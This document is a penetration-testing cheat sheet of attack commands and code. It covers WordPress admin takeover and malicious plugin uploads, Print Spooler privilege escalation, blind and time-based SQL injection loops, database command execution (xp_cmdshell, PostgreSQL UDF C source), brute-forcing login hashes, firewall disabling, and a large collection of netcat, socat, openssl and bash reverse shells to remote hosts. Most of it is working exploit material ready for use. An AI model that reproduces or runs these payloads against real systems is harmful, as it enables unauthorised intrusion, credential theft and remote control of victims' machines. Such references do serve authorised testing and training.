  • These steps are to be performed if PHPmyadmin or a SQLi give DB access
Steal Session
  • Find the active sessions in the table wp_usermeta looking at the columns:
    • meta_key = session_tokens
  • Check that the user_id of the session corresponds to one with admin privileges (see below how)
Modify Admin Password
  • Find the user_id of the admin in the table wp_usermeta looking at the columns:
    • user_id
    • meta_key = wp_capabilities
    • meta_value LIKE administrator
  • Find the username corresponding to the user_id in the wp_users table:
    • ID should corresponds to user_id
    • Check user_login & user_nicename
  • Modify the user_pass value to one generated with the same hash
  • Use Name-That-Hash for hash id
  • If phpass type, use openssl to generate a new password:
    # phpass is salted MD5
    openssl passwd -1 '<password>'
    # -salt <salt> - Use salt value
          
Uploads
  • Create an evil PHP file with the format: <?php <payload>; ?>
  • Find any upload point (media/plugins/themes) and select the evil.php (not zipped) as file
  • Even if it fails, try to find it under:
    • /wp-content/uploads/evil.php
    • or /uploads/evil.php
Plugins
  • Evil plugin content:
    <?php
      /**
      * Plugin Name: Evil Plugin
      * Plugin URI:
      * Description: Evil Plugin
      * Version: 1.0
      * Author: Test
      * Author URI: http://example.com
      */
    
      <payload>
      // Either use msfvenom or exec
      // exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'");
    ?>
        
  • Package it:
    zip -r evil.zip evil.php
        
  • Upload: /wp-admin/plugin-install.php
  • Activate it (optional)
  • Or find it under:
    • /wp-content/plugins/evil/evil.php
    • or /plugins/evil/evil.php
  • Alternatively you may install a vulnerable legit plugin
Themes
  • Create an evil PHP file with the format: <?php <payload>; ?>
  • Package it:
    zip -r evil.zip evil.php
        
  • Upload: /wp-admin/theme-install.php
  • Activate it (optional)
  • Find it under:
    • /wp-content/themes/evil/evil.php
    • or /themes/evil/evil.php
Editor
  • Go to: /wp-admin/theme-editor.php
  • Select a php file/template (404.php)
  • Check at the bottom that it can be modified
  • Replace with: <?php <payload>; ?>
  • Find the modified file under:
    • /wp-content/themes/<theme>/404.php
    • or /themes/<theme>/404.php

Drupal

droopescan
  • Site - Drupal/WP/Silverstripe scanner
    droopescan scan drupal -u <url>
    # -U <file> - List of URLs to scan
    # --method {not_found,forbidden,ok}
    #  Use a different test method
        

Joomla

Joomscan
  • Site - OWASP Joomla scanner:
    # -ec enumerates components
    joomscan.pl -u <url> -ec
    # -a <UA> - Set User-Agent
    # -r - Random User-Agent
    # --cookie <str-cookie>
    # --timeout <num>
    
    joomscan.pl --update
        
JoomlaScan
  • Site - Joomla scanner:
    joomlascan.py -u <url> -t 30
    # -t <threads>
        

Cloud

Common Addresses

Link-Local

  • Hosting providers: 169.254.169.254

Software

Windows

Print Spooler - CVE-2021-1675

Detection

  • Check if the spool service is active
  • For patched systems check this:
    REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
    
    :: Still vulnerable if it returns:
    HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
      RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
      NoWarningNoElevationOnInstall    REG_DWORD    0x1
        

Invoke-Nightmare

  • Site - PowerShell Local LPE PrivEsc
    Import-Module .\cve-2021-1675.ps1
    
    :: Or load from remote server
    IEX(New-Object Net.Webclient).downloadstring('http://<ip>/cve-2021-1675.ps1')
    
    :: Add new admin user
    Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "password"
    
    :: Execute DLL as admin
    Invoke-Nightmare -DLL "C:\path\to\bindshell.dll"
        

Cube0x0 Impacket RCE - Remote

  • Site - Remote Exploit CVE-2021-34527:
    # Scan for the vulnerability
    rpcdump.py @<ip> | grep 'MS-RPRN\|MS-PAR'
    
    # Check the site for steps to build
    ./CVE-2021-1675.py <dom>/<usr>:<pwd>@<ip> '\\<local-ip>\share\addCube.dll'
        
  • Another guide

printerbug.py

  • Site - Auth -> SpoolService bug -> SMB
    # Force auth with attacker responder
    printerbug.py [[<dom>/]<user>[:<pass>]@]<host/ip> <attacker-ip>
        

SQL

SQLi

Bruteforce

Dictionaries

Ffuf

  • Site - Most flexible fuzzer:
    # Capture request: FUZZ in usr/pass
    ffuf -request <req> -mode pitchfork -c -ac -w <wlist>
    # -request-proto http - Force HTTP
        

Blind

  • SQLi to use with the command below:
    -- URL encoded
    %'))%20and%20strcmp(upper(substr(database(),$1,1)),'$2')%3d0%20--%20
        
  • zsh command:
    # curl.sh contains Burp copy-to-curl
    # sh <<EOF
    #   curl -X POST -H $'...' -d '...'
    # curl method without $'..' -> '..'
    echo; for ((i=1;;i++)); do for c in {65..96} {32..64} {123..126}; do c="$(([##16]c))"; while :; do sleep 1; { ./curl.sh "$i" "%$c" || continue } | { grep -m1 -q 'Agradecido' && { echo -ne "\x$c"; continue 3 } }; break; done; done; break; done; echo
    # curl.sh can also be a function
        

Time-based

  • SQLi to use with the command below:
    -- URL encoded
    -- Used for str concatenation
    '%2b(select%20'a'%20union%20SELECT(if((STRCMP(upper(substring(CURRENT_USER(),$1,1)),'$2'))%3d0,SLEEP(10),0)))%2b'
    
    -- Used for AND sqli
    ')+AND+(SELECT+1310+FROM+((SELECT(if((STRCMP(upper(substring(CURRENT_USER(),$1,1)),%27$2%27))%3d0,SLEEP(20),0))))fDpl)--+'
        
  • zsh command:
    # curl.sh contains Burp copy-to-curl
    # sh <<EOF
    #   curl -s -o /dev/null -H $'...'
    # curl method without $'..' -> '..'
    echo; for ((i=1;;i++)); do for c in {65..96} {32..64} {123..126}; do c="$(([##16]c))"; while :; do sleep 1; timeout 6 ./curl.sh "$i" "%$c" && break; [ $? -eq 124 ] && { echo -ne "\x$c"; continue 3 }; done; done; break; done; echo
    # curl.sh can be: "$0 $i %$c curl"
        

Tools

SQLmap

  • Site - Automated SQLi and dumper tool
    # TODO - General flag description
    sqlmap -u '<url>' -p '<params>'
    # -p <p1>,<p2..>  - Params to test
    # --dbms=<DB>     - Only test for a DB
    # --dump          - Dump all tables
    # --flush-session - Forget saved session
    
    # Examples:
    
    # POST request with multiple parameters
    sqlmap -u '<url>' --method POST --data "db=mysql&name=user&sort=id&order=asc" -p "name,sort,order"
        

General

Find all databases

T-SQL

SELECT name FROM master.sys.databases

-- Older
SELECT name FROM master.dbo.sysdatabases

-- Alternative
EXEC sp_databases

Select a database

USE <database>

Find all schemas

  • From here:
    SELECT schema_name FROM information_schema.schemata
        

Find all tables

  • General:
    -- From currently selected DB
    SELECT table_name FROM information_schema.tables
    
    -- From non-selected DB
    SELECT table_name FROM <db>.information_schema.tables
        
  • Associated with a schema:
    SELECT table_name FROM information_schema.tables where table_schema = '<schema>'
        
  • Associated with their DBs:
    -- Some DBs may require using AS when declaring the identifier:
    -- information_schema.schemata AS s
    SELECT s.schema_name, t.table_name FROM information_schema.schemata s INNER JOIN information_schema.tables t ON s.schema_name = t.table_schema ORDER BY schema_name, table_name
        

Find the columns in a table

  • Identify them and their types:
    SELECT column_name, data_type FROM information_schema.columns WHERE table_name='<table-name>'
        
  • Then query the table:
    SELECT <column> FROM <table-name>
    
    -- Using a DB object
    SELECT <column> FROM <dbo>.<table-name>
    
    -- The databases listed in inf schema
    -- may need to be accessed by
    -- Using a DB object
    SELECT <column> FROM <db>.dbo.<table-name>
        

Find the collation of table

  • Querying the schema:
    SELECT collation_name FROM information_schema.columns WHERE column_name='name' AND table_name='<table-name>'
        
  • Collate the return value:
    SELECT name COLLATE <collation-name> FROM <table-name>
        

MySQL

Connection

Linux

mysql
  • MySQL client
    mysql -u <usr> -D <db> -p [<pass>]
    # -P <port> - Different port
    # -h <ip>   - Remote connection
    # -C        - Use compression
    # -e <cmd>  - Oneshot command/query
    # -r        - Raw output
        

Enumeration

  • List tables and system users
    -- List all databases
    SHOW DATABASES;
    
    -- Change database
    USE <db-name>
    
    -- Tables in the selected DB
    SHOW TABLES;
    
    -- List 'system' table
    SELECT * from <db>.system
    
    -- All system users info
    SELECT * from mysql.user;
    
    -- User currently running the DB
    SELECT CURRENT_USER();
    
    -- User who started the DB
    SELECT USER();
    
    -- User's permissions
    SELECT CURRENT_ROLE();
    
    -- MySQL server version
    SELECT VERSION();
    
    -- Current database
    SELECT DATABASE();
    
    -- Current server variables
    SHOW VARIABLES;
        
  • Extract version - error based
    extractvalue('',concat('>',version()));
    
    -- Multi-data concat (table names)
    extractvalue('',concat('>',(
      SELECT group_concat(table_schema)
      FROM (
        SELECT table_schema
        FROM information_schema.tables
        GROUP BY table_schema)
      AS foo)
    )
    -- Errors might be limited to 32 chars
    
    -- Iterate over the tables by indexes
    extractvalue('',concat('>',(
      SELECT group_concat(table_name)
      FROM (
        SELECT table_name
        FROM information_schema.tables
        WHERE table_schema='master'
        LIMIT 2 offset 2)
      AS foo)
    )
    
    -- Do the same with the column names
    extractvalue('',concat('>',(
      SELECT group_concat(column_name)
      FROM (
        SELECT column_name
        FROM information_schema.columns
        WHERE table_schema='master'
        AND table_name='users')
      AS foo)
    )
    
    -- Extract passwords 32 chars at a time
    extractvalue('',concat('>',(
      SELECT substring(password,1,32)
      FROM users
      LIMIT 1
      offset 0)
    )
        

Read/Write Files

  • RW permissions limited to secure_file_priv:
    -- Nothing means no restrictions
    SELECT @@GLOBAL.secure_file_priv;
        
  • Write table to file:
    SELECT * FROM users INTO OUTFILE '/tmp/users.txt';
        
  • Read file using function:
    SELECT LOAD_FILE('/tmp/users.txt');
        

T-SQL (MSSQL)

Connection

Windows

  • osql:
    :: Use default auth and master db
    osql -E
    :: Run the commands with: go
        
  • sqlcmd:
    :: Almost like osql
    sqlcmd -E
    :: Set the output width: -w<cols>
        

Linux

mssqlclient.py
  • Site - Impacket mssqlclient.py:
    mssqlclient.py <DOMAIN/><user>@<ip> -windows-auth
    # Check the -k and -hashes flags
        
sqsh
  • Site - Multi SQL shell:
    # Supports what mssqlclient doesn't
    sqsh -U <user> -P <pass> -D <db> -S <ip/server>
    # Use 'go' to run the SQL queries
    # & 'go -m pretty' -> better output
        

Linked Servers

List

  • From here:
    -- Name only
    SELECT name FROM sys.servers
    
    -- Name and maybe IP
    SELECT name, data_source FROM sys.servers
    
    -- All info
    EXEC sp_linkedservers
        

Execute Queries

  • From here:
    -- Use external double quotes and
    -- internal single quotes if needed
    EXEC <name-linked-server>.[master].sys.sp_executesql N'SELECT @@VERSION;'
    -- N'<query>' doesn't limit length
    
    -- Or
    EXEC('SELECT SYSTEM_USER;') AT <name-linked-server>
    
     -- Use double quotes in the name
     -- if it contains backslashes
        
  • Check whether the access from the linked server to the current one has higher privileges (Trusted Link):
    EXEC "<linked-srv>".[master].sys.sp_executesql N'EXEC(''SELECT SYSTEM_USER;'') AT "<current-srv>"'
        

Enumeration

  • List databases:
    SELECT name FROM sys.databases
    
    -- In detail via information_schema
    SELECT * FROM app.information_schema.tables;
        
  • List table columns and type:
    SELECT COLUMN_NAME, DATA_TYPE FROM app.information_schema.columns WHERE TABLE_NAME = 'master';
        
  • Extract version - error based
    cast(@@version as integer);
        

Cheatsheets

Execute System Commands

  • From here:
    -- You may need to execute it in a DB
    USE master
    
    -- Check for high privileges
    SELECT IS_SRVROLEMEMBER('sysadmin')
    
    -- Enable the feature
    EXEC sp_configure 'show advanced option', '1'
    RECONFIGURE WITH OVERRIDE
    
    EXEC sp_configure 'xp_cmdshell', 1
    RECONFIGURE
    
    -- Use the feature
    xp_cmdshell '<shell-command>'
    
    -- You may need to use EXEC
    EXEC xp_cmdshell '<shell-command>'
    
    -- Or SELECT
    SELECT xp_cmdshell '<shell-command>'
    
    -- OR
    SELECT * FROM xp_cmdshell '<shell-command>'
        

Execute Scripts

  • Scripts may be executed in a different user with higher privileges than IIS:
    EXEC sp_configure 'external scripts enabled', 1
    RECONFIGURE WITH OVERRIDE
    
    -- Python and R are supported langs
    sp_execute_external_script @language =N'Python', @script=N'import os;os.system("whoami")'
    
    -- R variant
    sp_execute_external_script @language =N'R', @script=N'shell("whoami", NULL)'
        

Write Text Files Without xp_cmdshell

  • From here:
    -- Step 1: Enable Ole Automation Procedures
    sp_configure 'show advanced options', 1
    RECONFIGURE
    
    sp_configure 'Ole Automation Procedures', 1
    RECONFIGURE
    -- You may need to use EXEC and OVERRIDE:
    EXEC sp_configure 'show advanced option', '1'
    RECONFIGURE WITH OVERRIDE
    
    -- Step 2: Write Text File
    DECLARE @OLE INT
    DECLARE @FileID INT
    EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
    EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'C:\<file-path>.txt', 8, 1
    EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<string>'
    EXECUTE sp_OADestroy @FileID
    EXECUTE sp_OADestroy @OLE
        

Create Backup to disk

  • From here:
    BACKUP DATABASE <database> TO DISK='C:\<path+name>' WITH FORMAT
        
  • Find more examples in docs.microsoft

List Users

SELECT name, password from syslogins

Bruteforce Passwords

-- Most efficient (due to short circuit) that works in Windows Server 2000
--------------------------------------
-- Note that the crack will take more than one hour
--------------------------------------
-- The length of @sName is kept at minimum to prevent long headings
--------------------------------------
CREATE TABLE #tmp(checkPass NVARCHAR(128))
BULK INSERT #tmp FROM 'C:\WINNT\Temp\rockyou.txt' WITH (ROWTERMINATOR = '0x0a')

DECLARE login_cursor CURSOR FOR SELECT name, password FROM syslogins ORDER BY createdate
OPEN login_cursor

DECLARE @sName NVARCHAR(10), @sPass NVARCHAR(128)
FETCH NEXT FROM login_cursor INTO @sName, @sPass
WHILE @@FETCH_STATUS = 0
BEGIN
SELECT @sName UNION SELECT TOP 1 checkPass FROM #tmp WHERE PWDCOMPARE(checkPass, @sPass) = 1
FETCH NEXT FROM login_cursor INTO @sName, @sPass
END
CLOSE login_cursor
DEALLOCATE login_cursor
DROP TABLE #tmp

--------------------------------------
-- For at least Windows Server 2006 it may be possible to use the WITH <name> as ( select ... ) select ... <name> or use CROSS APPLY with another query or function (used like the INNER JOIN below but allowing short-circuiting)
--------------------------------------
CREATE TABLE #tmp(checkPass NVARCHAR(128))
BULK INSERT #tmp FROM 'C:\WINNT\Temp\rockyou.txt' WITH (ROWTERMINATOR = '0x0a')

CREATE FUNCTION passCheck(@pass VARBINARY(128))
RETURNS TABLE AS RETURN ( SELECT TOP 1 * FROM #tmp WHERE PWDCOMPARE(checkPass, @pass) = 1 )
SELECT s.name, t.checkPass FROM syslogins s CROSS APPLY passCheck(s.password) t
DROP TABLE #tmp

--------------------------------------
-- Not short circuit but without loop works in Windows Server 2000
--------------------------------------
CREATE TABLE #tmp(CheckValue NVARCHAR(1000))

BULK INSERT #tmp FROM 'C:\rockyou.txt' WITH (ROWTERMINATOR = '0x0a')

SELECT s.name AS name, t.CheckValue AS password FROM syslogins s INNER JOIN #tmp t ON PWDCOMPARE(t.CheckValue, s.password) = 1

--------------------------------------
-- This one iterates over the dictionary instead of the syslogins (less efficient)
--------------------------------------
-- Pipe osql -E -Q "<inline-query>" | findstr /v /C:"^ ----" /C:"(1 row affected)" /C:"^ name" /C:"^$"
-- Or use the -o <output> flag
--------------------------------------
declare file_cursor CURSOR FOR SELECT CheckValue FROM #tmp
OPEN file_cursor
DECLARE @passCmp sysname
FETCH NEXT FROM file_cursor INTO @passCmp
WHILE @@FETCH_STATUS = 0
BEGIN
SELECT NAME FROM syslogins WHERE PWDCOMPARE(@passCmp, password) = 1 UNION SELECT @passCmp
FETCH NEXT FROM file_cursor INTO @passCmp
END
CLOSE file_cursor
DEALLOCATE file_cursor

--------------------------------------
-- Unefficient while loop
--------------------------------------
WHILE (SELECT COUNT(*) FROM #tmp WHERE line IS NOT NULL) > 0
BEGIN
SELECT TOP 1 @passCmp = line FROM #tmp
SELECT NAME FROM syslogins WHERE PWDCOMPARE(@passCmp, password) = 1 UNION ALL SELECT @passCmp
DELETE FROM #tmp WHERE line = @passCmp
END

PostgreSQL

Enumeration

  • Version and current user
    SELECT version();
    
    SELECT current_user;
        
  • List databases
    SELECT datname FROM pg_database;
    
    -- Show only user created (public) ones
    SELECT table_name FROM app.information_schema.tables WHERE table_schema = 'public';
        
  • List columns and types from a table
    SELECT column_name, data_type FROM app.information_schema.columns WHERE table_name = 'user';
        
  • Extract version - error based
    cast(version() AS integer);
        

Read/Write Files

  • Use Large Objects for binary files instead
  • Read using function:
    SELECT pg_read_file('/etc/passwd');
        
  • Read using auxiliary table:
    -- Requires table creation permissions
    CREATE TABLE tmp(DATA text);
    
    COPY tmp FROM '/etc/passwd';
    
    SELECT * FROM tmp;
    
    DROP TABLE tmp;
        

Read/Write Large Objects

  • List Large Objects:
    -- IDs only
    \lo_list
    
    -- IDs and PageNo (LOBLKSIZE: default 2K)
    SELECT loid, pageno FROM pg_largeobject;
    -- Files larger than 2K are split
    
    -- IDs and data content
    SELECT loid, encode(data, 'escape') FROM pg_largeobject;
    -- Read access to LOs is subject to ACL
    -- Note that newly created LOs might have
    -- different read perm than existing ones
        
  • Create LO:
    -- Create and return new ID
    SELECT lo_create(-1);
    
    -- Create using given OID
    SELECT lo_create(1234);
        
  • Insert binary content (base64 enc) to a LO:
    -- See below for how to split
    -- First 2K data
    INSERT INTO pg_largeobject (loid, pageno, data) values (<OID>, 0, decode('<b64-chunk1>', 'base64'));
    
    -- Second 2K data
    INSERT INTO pg_largeobject (loid, pageno, data) values (<OID>, 1, decode('<b64-chunk2>', 'base64'));
        
  • Split file in 2K chunks + encode them:
    split -b 2048 pg_exec.so
    
    # Base64 - Zsh only
    for f (x*) base64 -w0 $f && echo
    
    # Hex - Posix
    for f in x*; do od -An -tx1 -v $f | tr -d ' \n' && echo; done
        
  • Read files as LO:
    -- Returns the ID of the LO
    SELECT lo_import('<file-path>');
    -- UNC paths work on Windows platforms
    
    -- Read and assign a LO ID
    SELECT lo_import('<file-path>', 1234);
        
  • Update content of LO with hex data:
    UPDATE pg_largeobject SET data=decode('<hex>', 'hex') WHERE loid=1234 AND pageno=0;
    -- <hex> is 'deadbeef', not '0xfeedcafe'
        
  • Write LO to file:
    SELECT lo_export(1234, '<file-path>');
        
  • Delete LO:
    \lo_unlink 1234
    
    -- or using SELECT
    SELECT lo_unlink(1234);
    
    -- Delete all
    SELECT lo_unlink(l.oid) FROM pg_largeobject_metadata l;
        

RCE - COPY FROM PROGRAM

  • Ref - Only if COPY is available - >= 9.3
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    
    -- Run system command
    COPY cmd_exec FROM PROGRAM '<sys-cmd>';
    
    SELECT * FROM cmd_exec;
    DROP TABLE IF EXISTS cmd_exec;
        

RCE - UDF

PostgreSQL < 9.0

  • Linux
    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
        
  • Windows
    -- Windows
    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS 'C:\Windows\System32\kernel32.dll', 'WinExec' LANGUAGE C STRICT;
        
  • Execute:
    SELECT system('<command>');
        
  • Remove UDF:
    DROP FUNCTION system(cstring);
        

PostgreSQL >= 9.0

  • From version 11.0 loading shared libraries is only allowed under <root-path>/PostgreSQL/11/lib
    • Write the LO shared lib to <root-path>/PostgreSQL/11/data and load it using a relative path:
      -- Linux
      CREATE OR REPLACE FUNCTION pg_exec(cstring) RETURNS int AS '../data/pg_exec', 'pg_exec' LANGUAGE C STRICT;
      
      -- Windows
      CREATE OR REPLACE FUNCTION pg_exec(text) RETURNS int AS '..\data\pg_exec', 'pg_exec' LANGUAGE C STRICT;
      -- No .so or .dll extension required
              
  • Linux UDF - pg_exec.c
    #include <string.h>
    #include "postgres.h"
    #include "fmgr.h"
    
    #ifdef PG_MODULE_MAGIC
    PG_MODULE_MAGIC;
    #endif
    
    PG_FUNCTION_INFO_V1(pg_exec);
    Datum pg_exec(PG_FUNCTION_ARGS) {
        char* command = PG_GETARG_CSTRING(0);
        PG_RETURN_INT32(system(command));
    }
        
  • Compile from Docker
    # Create shared folder
    mkdir /tmp/pgdocker
    
    # Place pg_exec.c in /tmp/pgdocker
    
    # See: https://hub.docker.com/_/postgres
    docker run -it --rm -v "/tmp/pgdocker:/mnt/pgdocker:rw" --entrypoint /bin/bash postgres:<version>
    
    # Inside the docker img
    cd /mnt/pgdocker
    
    apt update
    
    # Find the Postgres major+minor version
    postgres -V
    
    apt install --no-install-recommends -y gcc libc-dev postgresql-server-dev-<major-minor-ver>
    
    gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
    
    exit
    
    # On host system
    docker rmi postgres:<version>
        
  • Windows - pg_exec.c
    #include "postgres.h"
    #include <string.h>
    #include <stdio.h>
    #include "fmgr.h"
    #include "utils/geo_decls.h"
    #include "utils/builtins.h"
    
    #ifdef PG_MODULE_MAGIC
    PG_MODULE_MAGIC;
    #endif
    
    /* Add a prototype marked PGDLLEXPORT */
    PGDLLEXPORT Datum pg_exec(PG_FUNCTION_ARGS);
    PG_FUNCTION_INFO_V1(pg_exec);
    
    /* Define function */
    Datum
    pg_exec(PG_FUNCTION_ARGS)
    {
      /* convert text pointer to C string */
    #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
    
      /*launch the process passed in the first parameter*/
      ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
      PG_RETURN_VOID();
    }
        
  • Compile:
    • Create a DLL Visual Studio project
    • Properties > General > Character Set:
      • Use Multi-Byte Character Set
    • Include the following dirs in C/C++:
      c:\Program Files (x86)\PostgreSQL\<version>\include\server\port\win32_msvc;c:\Program Files (x86)\PostgreSQL\<version>\include\server\port\win32;c:\Program Files (x86)\PostgreSQL\<version>\include\server;c:\Program Files (x86)\PostgreSQL\<version>\include;%(AdditionalIncludeDirectories)
              
    • Include the following dir for in Linker:
      c:\Program Files (x86)\PostgreSQL\<version>\lib;%(AdditionalLibraryDirectories)
              
    • Set Link Library Dependency to No
    • Build Project
  • Windows rev shell DLL: site
    • Just loading the DLL launches the shell
      CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '<path\to>\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
              

Oracle DB

Enumeration

  • List version and current user
    SELECT * FROM v$version;
    
    -- user is a function
    -- dual is a valid placeholder table
    SELECT user FROM dual;
    -- the user is not necessarily the OS one
        
  • List databases
    -- List all schemas by user
    SELECT owner FROM all_tables GROUP BY owner;
    
    -- List all tables in a schema
    SELECT table_name FROM all_tables WHERE owner = 'SYS' ORDER BY table_name;
    -- Tables may contain a $ (mainly system)
        
  • List columns and types from a table
    SELECT column_name, data_type FROM all_tab_columns WHERE table_name = 'main';
        
  • Extract version - error based
    to_char(
      dbms_xmlgen.getxml(
        'select "'||
          (select substr(banner,0,30) from v$version where rownum=1)
        ||'" from sys.dual'
      )
    );
        

SOQL - Salesforce SQL

  • Limited SQL without:
    • UNION
    • Wildcards
    • String concat
    • Almost all functions except COUNT()
  • Strings are single quotes only
  • Usage of AND followed by OR require parentheses: ... OR (...)
  • Left member of comparison must be a column from the table being queried
  • Inner/Outer tables must differ from main one
  • Outer join limited to ID only:
    SELECT Name FROM table WHERE Id IN (SELECT Id FROM other_table ...)
        
  • No apparent limitation for Inner join:
    SELECT Id, (SELECT Name FROM other_table) FROM table
        

HyperSQL - HSQLDB

Java Client - Database Manager GUI

  • Get the JAR client and connect:
    java -cp hsqldb-<ver>.jar org.hsqldb.util.DatabaseManagerSwing --url jdbc:hsqldb:hsql://<ip>/<path> --user <user> --password <pass>
    # Default user: sa - no password
        

Java Language Routines - JRT

Check

  • Check that functions can be created & run:
    CREATE FUNCTION getProperty(IN key VARCHAR) RETURNS VARCHAR
    LANGUAGE JAVA
    DETERMINISTIC NO SQL
    EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
    
    -- Check the classpath of HSQLDB:
    VALUES(getProperty('java.class.path'))
        
  • In the application or the JRE, search for:
    • public static methods
    • with parameters that map to SQL types or primitives (String, Int…)
    • and its return value maps to an SQL type, primitives or void
  • Extract/find all the java classes and use an IDE to import them as a project to ease the search

Read/Write File

  • Read using JavaUtils getBytesFromFile:
    CREATE PROCEDURE getBytesFromFile(IN paramString VARCHAR)
    LANGUAGE JAVA
    DETERMINISTIC NO SQL
    EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromFile'
    
    -- Read from file - Accepts relative path
    VALUES(getBytesFromFile('<file>'))
    -- Returns content hex encoded
        
  • Write using JavaUtils writeBytesToFilename:
    -- VARBINARY size could be bigger
    CREATE PROCEDURE writeBytesToFilename(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
    LANGUAGE JAVA
    DETERMINISTIC NO SQL
    EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
    
    -- Write to file - <hex> has no 0x prefix
    CALL writeBytesToFilename('<file>', CAST ('<hex>' AS VARBINARY(1024)))
    -- CALL required for void returning funcs
        

Encryption

Notes

  • Key-based alphabetic ciphers may reveal the key through KPA using known-whitespace-trimmed-text as key

Websites

Boxentriq

  • Site - Identify and crack ciphers

CyberChef

SCWF

  • Site - Auto-crack cryptos (chaotic)

Crypto Site - One Time Pad

  • Site - Multiple crypto tools

quipqiup

  • Site - Automated crypto/cipher solver

Tools

Ciphey

  • Site - AI auto-cracker
    ciphey -t "<hash/encrypt>"
    # -w <wlist> - Words found in -t
    # -q - Quiet - Don't show progress
        

RsaCtfTool

  • Site - Crack RSA/recover private key:
    # Obtain private RSA from .pub
    RsaCtfTool.py --publickey <key.pub> --private
    # sagemath and opt-depends required
    
    # Uncipher file
    RsaCtfTool.py --publickey <key.pub> --uncipherfile <file>
    
    # Convert to PEM format
    RsaCtfTool.py --publickey <key.pub> --convert_idrsa_pub
        

GPG

  • Site - GPG tool - Cheatsheet
    # Import keys (public/private)
    gpg --import file.gpg
    
    # Decrypt messages
    gpg --decrypt msg.enc
    
    # List private keys
    gpg --list-secret-keys
    
    # Delete private key
    gpg --delete-secret-keys <key>
    
    # Delete public key
    gpg --delete-key <key>
        

Decodify

  • Site - Find hashes on the net + ROT:
    dcode "<hash>"
    
    # All ROT (lowercase output)
    dcode -rot all "<hash>"
        

Subbreaker

  • Site - En/decode/break classic crypto:
    subbreaker break --text "<text>"
    # --lang EN by default
        

ROT

  • Site - Perform ROT en/decoding:
    # All 25 ROT
    seq 25 | xargs -I{} ./rot.py "<str>" {}
        

balbuzard

  • Site - Extract and Crack encryption
    # Extracts
    bbharvest <file>
    
    # Cracks
    bbcrack <file>
        

Active Directory

addspn.py

  • Site - SPNs Ops on AD accounts over LDAP
    # Add SPN to <target> in <ip/host>
    addspn.py -u <usr> -p <pass> -t <target-name> -s <SPN> <ip/host>
    # -a  - Use msDS-AdditionalDnsHostName
    # -r  - Remove
    # -q  - Show <target> SPNs
        

dnstool.py

  • Site - DNS Ops on ADIDNS rec over LDAP
    # Add DNS record fqdn+ip on <ip/host>
    dnstool.py -u "<dom>\<usr>" -p <pass> -a add -r <target-rec/fqdn> -d <data-rec/ip> <ip/host>
    # -a query      - Query records
    # --print-zones - Query zones
    # --zone <zone> - Zone to search in
    # --forest      - Look ForestDnsZones
    # See other -a options
        

gMSADumper

  • Site - Dump service account pass (GMSA):
    gMSADumper.py -u <user> -p <pass> -d <dom>
    # -p <lm:ntlm>  - Pass the Hash auth
    # -l <dom.ctrl> - For Pass the Hash
    # -k            - Kerberos auth (+ -l)
        

Firewall

CentOS

firewalld

  • Disable firewall:
    systemctl stop firewalld
        
  • Check rules (ref):
    # List all rules
    firewall-cmd --list-all
    
    # List rule-groups
    firewall-cmd --get-active-zones
    firewall-cmd --get-services
    
    # List rule group content
    firewall-cmd --zone=<rule> --list-all
    firewall-cmd --zone=<rule> --list-ports
        

Windows

  • Disable firewall:
    netsh firewall set opmode disable
        
  • Allow ports by services:
    :: RDP access
    netsh firewall set service remoteadmin enable
    
    netsh firewall set service remotedesktop enable
        
  • Allow ports by number:
    ufw allow from <ip> proto tcp to any port <port1>,<port2>...
        

Reverse/Bind shells + TTY

Linux

Shells

Netcat Traditional/Ncat

  • Basic:
    # Use -u for UDP
    nc -n <ip> <port> -e /bin/sh
    
    ncat -n <ip> <port> -e /bin/sh
    # Or -c bash instead of -e
        

Netcat OpenBSD

rm -f /tmp/f; mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc -n <ip> <port> > /tmp/f

Netcat Busybox

rm -f /tmp/f; mknod /tmp/f p; /bin/sh -i < /tmp/f 2>&1 | nc -n <ip> <port> > /tmp/f

Socat

  • Client:
    socat EXEC:'bash -i',stderr TCP:<ip>:<port>
        
  • Client PTY:
    socat EXEC:'bash -i',pty,ctty,stderr,setsid,sigint,sane TCP:<ip>:<port>
        
  • Server PTY:
    # Use - instead of $(tty)
    socat GOPEN:$(tty),raw,echo=0 TCP-LISTEN:<port>
        

OpenSSL

  • Client:
    rm -f /tmp/s; mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ip>:<port> > /tmp/s
        
  • Server:
    # Generate the certificate
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    
    # Start the server
    openssl s_server -quiet -key key.pem -cert cert.pem -port <port>
    
    # Use ncat as alternative
    ncat --ssl -lnvp <port>
        

Bash

  • Obtain a reverse-shell using bash:
    # UDP is also an option
    bash -i &>/dev/tcp/<ip>/8080 0>&1
        
  • Detach it from the current process:
    nohup bash -c 'setsid bash -i &>/dev/tcp/<ip>/8080 0>&1 &' >/dev/null 2>&1 &
    # It may not work over webapps
        

TTY/PTY Upgrade

Script

exec /usr/bin/script -qc /bin/bash /dev/null

Python

  • Using PTY:
    exec python -c "import pty; pty.spawn('/bin/sh')"
